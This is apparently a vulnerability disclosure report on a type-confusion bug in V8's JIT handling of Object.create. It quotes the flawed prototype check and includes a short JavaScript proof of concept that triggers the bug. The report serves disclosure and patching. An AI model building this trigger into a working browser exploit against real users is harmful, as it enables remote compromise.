Chrome: V8: JIT: JSBuiltinReducer::ReduceObjectCreate fails to ensure that the prototype is "null" 




I think this commit has introduced the bug.
<a href="https://chromium.googlesource.com/v8/v8/+/ff7063c7d5d8ad8eafcce3da59e65d7fe2b4f915%5E%21/#F2" title="" class="" rel="nofollow">https://chromium.googlesource.com/v8/v8/+/ff7063c7d5d8ad8eafcce3da59e65d7fe2b4f915%5E%21/#F2</a>

According to the description, Object.create is supposed to be inlined only when the prototype given as the parameter is "null".

The following check has to guarantee it, but it can't guarantee it. Any receiver can get through the check, then Map::GetObjectCreateMap may transition the prototype, which may lead to type confusion.
  if (!prototype_const->IsNull(isolate()) && !prototype_const->IsJSReceiver()) {
    return NoChange();
  }
  instance_map = Map::GetObjectCreateMap(prototype_const);

PoC:
var object;
function opt() {
    opt['x'] = 1.1;
    try {
        Object.create(object);
    } catch (e) {
    }

    for (let i = 0; i < 1000000; i++) {

    }
}

opt();
object = opt;
opt();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt